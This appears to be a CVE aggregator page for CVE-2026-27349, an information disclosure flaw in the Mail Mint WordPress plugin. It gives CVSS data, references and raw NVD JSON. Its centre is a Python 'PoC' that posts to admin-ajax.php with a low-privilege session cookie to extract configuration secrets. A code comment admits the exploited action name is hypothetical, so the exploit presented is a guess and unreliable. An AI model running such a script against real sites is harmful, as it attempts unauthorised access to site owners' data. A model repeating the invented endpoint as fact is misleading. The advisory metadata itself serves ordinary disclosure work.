CVE-2026-27349

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in WPFunnels Team Mail Mint allows Retrieve Embedded Sensitive Data. This issue affects Mail Mint: from n/a through 1.19.5.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mail Mint <= 1.19.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Attacker's low-privilege session cookie
attacker_cookies = {
    "wordpress_logged_in_xxx": "low_priv_user_session_hash"
}

# Payload to trigger information disclosure
# Based on the vulnerability description, we attempt to access sensitive data
payload_data = {
    "action": "mail_mint_get_embedded_data",  # Hypothetical action name
    "resource_id": "config"
}

headers = {
    "User-Agent": "CVE-2026-27349-PoC",
    "Accept": "application/json"
}

try:
    response = requests.post(target_url, data=payload_data, cookies=attacker_cookies, headers=headers)
    
    if response.status_code == 200:
        print("[+] Request successful. Checking for sensitive data leakage...")
        # Basic check to see if sensitive keys or structures are returned
        if "sensitive" in response.text.lower() or "api_key" in response.text.lower():
            print(f"[+] Potential Sensitive Data Exposed:\n{response.text}")
        else:
            print("[-] Response received, but no obvious sensitive data detected.")
            print(f"Content: {response.text[:200]}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27349
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27349
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27349/
[4] VulDB https://vuldb.com/cve/CVE-2026-27349
[5] https://patchstack.com/database/wordpress/plugin/mail-mint/vulnerability/wordpress-mail-mint-plugin-1-19-5-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27349", "sourceIdentifier": "[email protected]", "published": "2026-05-21T09:16:26.647", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in WPFunnels Team Mail Mint allows Retrieve Embedded Sensitive Data.\n\nThis issue affects Mail Mint: from n/a through 1.19.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/mail-mint/vulnerability/wordpress-mail-mint-plugin-1-19-5-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}